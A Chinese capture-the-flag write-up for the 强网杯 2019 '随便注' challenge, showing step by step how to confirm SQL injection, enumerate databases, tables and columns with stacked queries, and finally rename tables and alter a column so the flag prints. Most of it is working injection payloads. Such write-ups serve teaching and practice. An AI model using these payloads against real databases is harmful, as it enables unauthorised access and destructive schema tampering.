[强网杯 2019]随便注
判断
-
看到表单提交,第一反应,万能密码,看存不存在SQL注入,以及爆开会得到什么
-
1’ or ‘1’='1
-
显然存在sql注入,其实这个题的题目已经告诉我们了,直接注就好
注入
-
判断字段数
-
当1
' order by 3;
时
根据回显可判断出字段数为2 -
但当进行后续操作时,发现过滤了一系列关键字
堆叠注入
-
0';show databases;
-
看来是可以成功的 -
0';show tables;
查表名 -
0';show columns from words;
爆表words
0';show columns from `1919810931114514`;
便可爆出flag字段
表名为数字时,要用反引号包起来查询
其实到这我要选择停止了,因为无法前行;但发现了这个语句desc;
desc查看表结构的详细信息 desctable_name; PS:此处desc是describe的缩写,用法:desc表名/查询语句
0';desc words;
查看words表的结构,发现一共有id和data两列。
此处可以猜测我们提交查询的窗口就是在这个表里查询数据的,要是在数字表里查,那我万能密码可不就把flag爆出来了,多好- 那么查询语句很有可能是 : selsect id,data from words where id =
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的万能密码爆出表所有内容就可以看到flag了
payload
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;
修改完后
再万能密码一次就得到flag了